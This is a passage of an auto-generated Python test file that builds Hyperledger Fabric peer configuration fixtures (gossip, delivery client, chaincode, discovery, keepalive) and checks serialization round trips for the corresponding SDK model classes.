config_peer_gossip_election_model = {} # ConfigPeerGossipElection
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {} # ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
config_peer_gossip_pvt_data_model = {} # ConfigPeerGossipPvtData
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
config_peer_gossip_state_model = {} # ConfigPeerGossipState
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
config_peer_gossip_model = {} # ConfigPeerGossip
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
config_peer_authentication_model = {} # ConfigPeerAuthentication
config_peer_authentication_model['timewindow'] = '15m'
config_peer_client_model = {} # ConfigPeerClient
config_peer_client_model['connTimeout'] = '2s'
config_peer_deliveryclient_address_overrides_item_model = {} # ConfigPeerDeliveryclientAddressOverridesItem
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
config_peer_deliveryclient_model = {} # ConfigPeerDeliveryclient
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
config_peer_admin_service_model = {} # ConfigPeerAdminService
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
config_peer_discovery_model = {} # ConfigPeerDiscovery
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
config_peer_limits_concurrency_model = {} # ConfigPeerLimitsConcurrency
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
config_peer_limits_model = {} # ConfigPeerLimits
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
config_peer_gateway_model = {} # ConfigPeerGateway
config_peer_gateway_model['enabled'] = True
config_peer_update_peer_model = {} # ConfigPeerUpdatePeer
config_peer_update_peer_model['id'] = 'john-doe'
config_peer_update_peer_model['networkId'] = 'dev'
config_peer_update_peer_model['keepalive'] = config_peer_keepalive_model
config_peer_update_peer_model['gossip'] = config_peer_gossip_model
config_peer_update_peer_model['authentication'] = config_peer_authentication_model
config_peer_update_peer_model['client'] = config_peer_client_model
config_peer_update_peer_model['deliveryclient'] = config_peer_deliveryclient_model
config_peer_update_peer_model['adminService'] = config_peer_admin_service_model
config_peer_update_peer_model['validatorPoolSize'] = 8
config_peer_update_peer_model['discovery'] = config_peer_discovery_model
config_peer_update_peer_model['limits'] = config_peer_limits_model
config_peer_update_peer_model['gateway'] = config_peer_gateway_model
config_peer_chaincode_golang_model = {} # ConfigPeerChaincodeGolang
config_peer_chaincode_golang_model['dynamicLink'] = False
config_peer_chaincode_external_builders_item_model = {} # ConfigPeerChaincodeExternalBuildersItem
config_peer_chaincode_external_builders_item_model['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model['environmentWhitelist'] = ['GOPROXY']
config_peer_chaincode_system_model = {} # ConfigPeerChaincodeSystem
config_peer_chaincode_system_model['cscc'] = True
config_peer_chaincode_system_model['lscc'] = True
config_peer_chaincode_system_model['escc'] = True
config_peer_chaincode_system_model['vscc'] = True
config_peer_chaincode_system_model['qscc'] = True
config_peer_chaincode_logging_model = {} # ConfigPeerChaincodeLogging
config_peer_chaincode_logging_model['level'] = 'info'
config_peer_chaincode_logging_model['shim'] = 'warning'
config_peer_chaincode_logging_model['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
config_peer_chaincode_model = {} # ConfigPeerChaincode
config_peer_chaincode_model['golang'] = config_peer_chaincode_golang_model
config_peer_chaincode_model['externalBuilders'] = [config_peer_chaincode_external_builders_item_model]
config_peer_chaincode_model['installTimeout'] = '300s'
config_peer_chaincode_model['startuptimeout'] = '300s'
config_peer_chaincode_model['executetimeout'] = '30s'
config_peer_chaincode_model['system'] = config_peer_chaincode_system_model
config_peer_chaincode_model['logging'] = config_peer_chaincode_logging_model
metrics_statsd_model = {} # MetricsStatsd
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
metrics_model = {} # Metrics
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a json representation of a ConfigPeerUpdate model
config_peer_update_model_json = {}
config_peer_update_model_json['peer'] = config_peer_update_peer_model
config_peer_update_model_json['chaincode'] = config_peer_chaincode_model
config_peer_update_model_json['metrics'] = metrics_model
# Construct a model instance of ConfigPeerUpdate by calling from_dict on the json representation
config_peer_update_model = ConfigPeerUpdate.from_dict(config_peer_update_model_json)
assert config_peer_update_model != False
# Construct a model instance of ConfigPeerUpdate by calling from_dict on the json representation
config_peer_update_model_dict = ConfigPeerUpdate.from_dict(config_peer_update_model_json).__dict__
config_peer_update_model2 = ConfigPeerUpdate(**config_peer_update_model_dict)
# Verify the model instances are equivalent
assert config_peer_update_model == config_peer_update_model2
# Convert model instance back to dict and verify no loss of data
config_peer_update_model_json2 = config_peer_update_model.to_dict()
assert config_peer_update_model_json2 == config_peer_update_model_json
class TestConfigPeerUpdatePeer():
"""
Test Class for ConfigPeerUpdatePeer
"""
def test_config_peer_update_peer_serialization(self):
"""
Test serialization/deserialization for ConfigPeerUpdatePeer
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_keepalive_client_model = {} # ConfigPeerKeepaliveClient
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
config_peer_keepalive_delivery_client_model = {} # ConfigPeerKeepaliveDeliveryClient
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
config_peer_keepalive_model = {} # ConfigPeerKeepalive
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
config_peer_gossip_election_model = {} # ConfigPeerGossipElection
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {} # ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
config_peer_gossip_pvt_data_model = {} # ConfigPeerGossipPvtData
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
config_peer_gossip_state_model = {} # ConfigPeerGossipState
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
config_peer_gossip_model = {} # ConfigPeerGossip
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
config_peer_authentication_model = {} # ConfigPeerAuthentication
config_peer_authentication_model['timewindow'] = '15m'
config_peer_client_model = {} # ConfigPeerClient
config_peer_client_model['connTimeout'] = '2s'
config_peer_deliveryclient_address_overrides_item_model = {} # ConfigPeerDeliveryclientAddressOverridesItem
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
config_peer_deliveryclient_model = {} # ConfigPeerDeliveryclient
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
config_peer_admin_service_model = {} # ConfigPeerAdminService
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
config_peer_discovery_model = {} # ConfigPeerDiscovery
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
config_peer_limits_concurrency_model = {} # ConfigPeerLimitsConcurrency
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
config_peer_limits_model = {} # ConfigPeerLimits
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
config_peer_gateway_model = {} # ConfigPeerGateway
config_peer_gateway_model['enabled'] = True
# Construct a json representation of a ConfigPeerUpdatePeer model
config_peer_update_peer_model_json = {}
config_peer_update_peer_model_json['id'] = 'john-doe'
config_peer_update_peer_model_json['networkId'] = 'dev'
config_peer_update_peer_model_json['keepalive'] = config_peer_keepalive_model
config_peer_update_peer_model_json['gossip'] = config_peer_gossip_model
config_peer_update_peer_model_json['authentication'] = config_peer_authentication_model
config_peer_update_peer_model_json['client'] = config_peer_client_model
config_peer_update_peer_model_json['deliveryclient'] = config_peer_deliveryclient_model
config_peer_update_peer_model_json['adminService'] = config_peer_admin_service_model
config_peer_update_peer_model_json['validatorPoolSize'] = 8
config_peer_update_peer_model_json['discovery'] = config_peer_discovery_model
config_peer_update_peer_model_json['limits'] = config_peer_limits_model
config_peer_update_peer_model_json['gateway'] = config_peer_gateway_model
# Construct a model instance of ConfigPeerUpdatePeer by calling from_dict on the json representation
config_peer_update_peer_model = ConfigPeerUpdatePeer.from_dict(config_peer_update_peer_model_json)
assert config_peer_update_peer_model != False
# Construct a model instance of ConfigPeerUpdatePeer by calling from_dict on the json representation
config_peer_update_peer_model_dict = ConfigPeerUpdatePeer.from_dict(config_peer_update_peer_model_json).__dict__
config_peer_update_peer_model2 = ConfigPeerUpdatePeer(**config_peer_update_peer_model_dict)
# Verify the model instances are equivalent
assert config_peer_update_peer_model == config_peer_update_peer_model2
# Convert model instance back to dict and verify no loss of data
config_peer_update_peer_model_json2 = config_peer_update_peer_model.to_dict()
assert config_peer_update_peer_model_json2 == config_peer_update_peer_model_json
class TestConfigPeerAdminService():
"""
Test Class for ConfigPeerAdminService
"""
def test_config_peer_admin_service_serialization(self):
"""
Test serialization/deserialization for ConfigPeerAdminService
"""
# Construct a json representation of a ConfigPeerAdminService model
config_peer_admin_service_model_json = {}
config_peer_admin_service_model_json['listenAddress'] = '0.0.0.0:7051'
# Construct a model instance of ConfigPeerAdminService by calling from_dict on the json representation
config_peer_admin_service_model = ConfigPeerAdminService.from_dict(config_peer_admin_service_model_json)
assert config_peer_admin_service_model != False
# Construct a model instance of ConfigPeerAdminService by calling from_dict on the json representation
config_peer_admin_service_model_dict = ConfigPeerAdminService.from_dict(config_peer_admin_service_model_json).__dict__
config_peer_admin_service_model2 = ConfigPeerAdminService(**config_peer_admin_service_model_dict)
# Verify the model instances are equivalent
assert config_peer_admin_service_model == config_peer_admin_service_model2
# Convert model instance back to dict and verify no loss of data
config_peer_admin_service_model_json2 = config_peer_admin_service_model.to_dict()
assert config_peer_admin_service_model_json2 == config_peer_admin_service_model_json
class TestConfigPeerAuthentication():
"""
Test Class for ConfigPeerAuthentication
"""
def test_config_peer_authentication_serialization(self):
"""
Test serialization/deserialization for ConfigPeerAuthentication
"""
# Construct a json representation of a ConfigPeerAuthentication model
config_peer_authentication_model_json = {}
config_peer_authentication_model_json['timewindow'] = '15m'
# Construct a model instance of ConfigPeerAuthentication by calling from_dict on the json representation
config_peer_authentication_model = ConfigPeerAuthentication.from_dict(config_peer_authentication_model_json)
assert config_peer_authentication_model != False
# Construct a model instance of ConfigPeerAuthentication by calling from_dict on the json representation
config_peer_authentication_model_dict = ConfigPeerAuthentication.from_dict(config_peer_authentication_model_json).__dict__
config_peer_authentication_model2 = ConfigPeerAuthentication(**config_peer_authentication_model_dict)
# Verify the model instances are equivalent
assert config_peer_authentication_model == config_peer_authentication_model2
# Convert model instance back to dict and verify no loss of data
config_peer_authentication_model_json2 = config_peer_authentication_model.to_dict()
assert config_peer_authentication_model_json2 == config_peer_authentication_model_json
class TestConfigPeerChaincode():
"""
Test Class for ConfigPeerChaincode
"""
def test_config_peer_chaincode_serialization(self):
"""
Test serialization/deserialization for ConfigPeerChaincode
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_chaincode_golang_model = {} # ConfigPeerChaincodeGolang
config_peer_chaincode_golang_model['dynamicLink'] = False
config_peer_chaincode_external_builders_item_model = {} # ConfigPeerChaincodeExternalBuildersItem
config_peer_chaincode_external_builders_item_model['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model['environmentWhitelist'] = ['GOPROXY']
config_peer_chaincode_system_model = {} # ConfigPeerChaincodeSystem
config_peer_chaincode_system_model['cscc'] = True
config_peer_chaincode_system_model['lscc'] = True
config_peer_chaincode_system_model['escc'] = True
config_peer_chaincode_system_model['vscc'] = True
config_peer_chaincode_system_model['qscc'] = True
config_peer_chaincode_logging_model = {} # ConfigPeerChaincodeLogging
config_peer_chaincode_logging_model['level'] = 'info'
config_peer_chaincode_logging_model['shim'] = 'warning'
config_peer_chaincode_logging_model['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
# Construct a json representation of a ConfigPeerChaincode model
config_peer_chaincode_model_json = {}
config_peer_chaincode_model_json['golang'] = config_peer_chaincode_golang_model
config_peer_chaincode_model_json['externalBuilders'] = [config_peer_chaincode_external_builders_item_model]
config_peer_chaincode_model_json['installTimeout'] = '300s'
config_peer_chaincode_model_json['startuptimeout'] = '300s'
config_peer_chaincode_model_json['executetimeout'] = '30s'
config_peer_chaincode_model_json['system'] = config_peer_chaincode_system_model
config_peer_chaincode_model_json['logging'] = config_peer_chaincode_logging_model
# Construct a model instance of ConfigPeerChaincode by calling from_dict on the json representation
config_peer_chaincode_model = ConfigPeerChaincode.from_dict(config_peer_chaincode_model_json)
assert config_peer_chaincode_model != False
# Construct a model instance of ConfigPeerChaincode by calling from_dict on the json representation
config_peer_chaincode_model_dict = ConfigPeerChaincode.from_dict(config_peer_chaincode_model_json).__dict__
config_peer_chaincode_model2 = ConfigPeerChaincode(**config_peer_chaincode_model_dict)
# Verify the model instances are equivalent
assert config_peer_chaincode_model == config_peer_chaincode_model2
# Convert model instance back to dict and verify no loss of data
config_peer_chaincode_model_json2 = config_peer_chaincode_model.to_dict()
assert config_peer_chaincode_model_json2 == config_peer_chaincode_model_json
class TestConfigPeerClient():
"""
Test Class for ConfigPeerClient
"""
def test_config_peer_client_serialization(self):
"""
Test serialization/deserialization for ConfigPeerClient
"""
# Construct a json representation of a ConfigPeerClient model
config_peer_client_model_json = {}
config_peer_client_model_json['connTimeout'] = '2s'
# Construct a model instance of ConfigPeerClient by calling from_dict on the json representation
config_peer_client_model = ConfigPeerClient.from_dict(config_peer_client_model_json)
assert config_peer_client_model != False
# Construct a model instance of ConfigPeerClient by calling from_dict on the json representation
config_peer_client_model_dict = ConfigPeerClient.from_dict(config_peer_client_model_json).__dict__
config_peer_client_model2 = ConfigPeerClient(**config_peer_client_model_dict)
# Verify the model instances are equivalent
assert config_peer_client_model == config_peer_client_model2
# Convert model instance back to dict and verify no loss of data
config_peer_client_model_json2 = config_peer_client_model.to_dict()
assert config_peer_client_model_json2 == config_peer_client_model_json
class TestConfigPeerDeliveryclient():
"""
Test Class for ConfigPeerDeliveryclient
"""
def test_config_peer_deliveryclient_serialization(self):
"""
Test serialization/deserialization for ConfigPeerDeliveryclient
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_deliveryclient_address_overrides_item_model = {} # ConfigPeerDeliveryclientAddressOverridesItem
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
# Construct a json representation of a ConfigPeerDeliveryclient model
config_peer_deliveryclient_model_json = {}
config_peer_deliveryclient_model_json['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model_json['connTimeout'] = '2s'
config_peer_deliveryclient_model_json['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model_json['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
# Construct a model instance of ConfigPeerDeliveryclient by calling from_dict on the json representation
config_peer_deliveryclient_model = ConfigPeerDeliveryclient.from_dict(config_peer_deliveryclient_model_json)
assert config_peer_deliveryclient_model != False
# Construct a model instance of ConfigPeerDeliveryclient by calling from_dict on the json representation
config_peer_deliveryclient_model_dict = ConfigPeerDeliveryclient.from_dict(config_peer_deliveryclient_model_json).__dict__
config_peer_deliveryclient_model2 = ConfigPeerDeliveryclient(**config_peer_deliveryclient_model_dict)
# Verify the model instances are equivalent
assert config_peer_deliveryclient_model == config_peer_deliveryclient_model2
# Convert model instance back to dict and verify no loss of data
config_peer_deliveryclient_model_json2 = config_peer_deliveryclient_model.to_dict()
assert config_peer_deliveryclient_model_json2 == config_peer_deliveryclient_model_json
class TestConfigPeerDiscovery():
"""
Test Class for ConfigPeerDiscovery
"""
def test_config_peer_discovery_serialization(self):
"""
Test serialization/deserialization for ConfigPeerDiscovery
"""
# Construct a json representation of a ConfigPeerDiscovery model
config_peer_discovery_model_json = {}
config_peer_discovery_model_json['enabled'] = True
config_peer_discovery_model_json['authCacheEnabled'] = True
config_peer_discovery_model_json['authCacheMaxSize'] = 1000
config_peer_discovery_model_json['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model_json['orgMembersAllowedAccess'] = False
# Construct a model instance of ConfigPeerDiscovery by calling from_dict on the json representation
config_peer_discovery_model = ConfigPeerDiscovery.from_dict(config_peer_discovery_model_json)
assert config_peer_discovery_model != False
# Construct a model instance of ConfigPeerDiscovery by calling from_dict on the json representation
config_peer_discovery_model_dict = ConfigPeerDiscovery.from_dict(config_peer_discovery_model_json).__dict__
config_peer_discovery_model2 = ConfigPeerDiscovery(**config_peer_discovery_model_dict)
# Verify the model instances are equivalent
assert config_peer_discovery_model == config_peer_discovery_model2
# Convert model instance back to dict and verify no loss of data
config_peer_discovery_model_json2 = config_peer_discovery_model.to_dict()
assert config_peer_discovery_model_json2 == config_peer_discovery_model_json
class TestConfigPeerGateway():
"""
Test Class for ConfigPeerGateway
"""
def test_config_peer_gateway_serialization(self):
"""
Test serialization/deserialization for ConfigPeerGateway
"""
# Construct a json representation of a ConfigPeerGateway model
config_peer_gateway_model_json = {}
config_peer_gateway_model_json['enabled'] = True
# Construct a model instance of ConfigPeerGateway by calling from_dict on the json representation
config_peer_gateway_model = ConfigPeerGateway.from_dict(config_peer_gateway_model_json)
assert config_peer_gateway_model != False
# Construct a model instance of ConfigPeerGateway by calling from_dict on the json representation
config_peer_gateway_model_dict = ConfigPeerGateway.from_dict(config_peer_gateway_model_json).__dict__
config_peer_gateway_model2 = ConfigPeerGateway(**config_peer_gateway_model_dict)
# Verify the model instances are equivalent
assert config_peer_gateway_model == config_peer_gateway_model2
# Convert model instance back to dict and verify no loss of data
config_peer_gateway_model_json2 = config_peer_gateway_model.to_dict()
assert config_peer_gateway_model_json2 == config_peer_gateway_model_json
class TestConfigPeerGossip():
"""
Test Class for ConfigPeerGossip
"""
def test_config_peer_gossip_serialization(self):
"""
Test serialization/deserialization for ConfigPeerGossip
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_gossip_election_model = {} # ConfigPeerGossipElection
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {} # ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
config_peer_gossip_pvt_data_model = {} # ConfigPeerGossipPvtData
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
config_peer_gossip_state_model = {} # ConfigPeerGossipState
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
# Construct a json representation of a ConfigPeerGossip model
config_peer_gossip_model_json = {}
config_peer_gossip_model_json['useLeaderElection'] = True
config_peer_gossip_model_json['orgLeader'] = False
config_peer_gossip_model_json['membershipTrackerInterval'] = '5s'
config_peer_gossip_model_json['maxBlockCountToStore'] = 100
config_peer_gossip_model_json['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model_json['maxPropagationBurstSize'] = 10
config_peer_gossip_model_json['propagateIterations'] = 3
config_peer_gossip_model_json['pullInterval'] = '4s'
config_peer_gossip_model_json['pullPeerNum'] = 3
config_peer_gossip_model_json['requestStateInfoInterval'] = '4s'
config_peer_gossip_model_json['publishStateInfoInterval'] = '4s'
config_peer_gossip_model_json['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model_json['publishCertPeriod'] = '10s'
config_peer_gossip_model_json['skipBlockVerification'] = False
config_peer_gossip_model_json['dialTimeout'] = '3s'
config_peer_gossip_model_json['connTimeout'] = '2s'
config_peer_gossip_model_json['recvBuffSize'] = 20
config_peer_gossip_model_json['sendBuffSize'] = 200
config_peer_gossip_model_json['digestWaitTime'] = '1s'
config_peer_gossip_model_json['requestWaitTime'] = '1500ms'
config_peer_gossip_model_json['responseWaitTime'] = '2s'
config_peer_gossip_model_json['aliveTimeInterval'] = '5s'
config_peer_gossip_model_json['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model_json['reconnectInterval'] = '25s'
config_peer_gossip_model_json['election'] = config_peer_gossip_election_model
config_peer_gossip_model_json['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model_json['state'] = config_peer_gossip_state_model
# Construct a model instance of ConfigPeerGossip by calling from_dict on the json representation
config_peer_gossip_model = ConfigPeerGossip.from_dict(config_peer_gossip_model_json)
assert config_peer_gossip_model != False
# Construct a model instance of ConfigPeerGossip by calling from_dict on the json representation
config_peer_gossip_model_dict = ConfigPeerGossip.from_dict(config_peer_gossip_model_json).__dict__
config_peer_gossip_model2 = ConfigPeerGossip(**config_peer_gossip_model_dict)
# Verify the model instances are equivalent
assert config_peer_gossip_model == config_peer_gossip_model2
# Convert model instance back to dict and verify no loss of data
config_peer_gossip_model_json2 = config_peer_gossip_model.to_dict()
assert config_peer_gossip_model_json2 == config_peer_gossip_model_json
class TestConfigPeerKeepalive():
"""
Test Class for ConfigPeerKeepalive
"""
def test_config_peer_keepalive_serialization(self):
"""
Test serialization/deserialization for ConfigPeerKeepalive
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_keepalive_client_model = {} # ConfigPeerKeepaliveClient
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
config_peer_keepalive_delivery_client_model = {} # ConfigPeerKeepaliveDeliveryClient
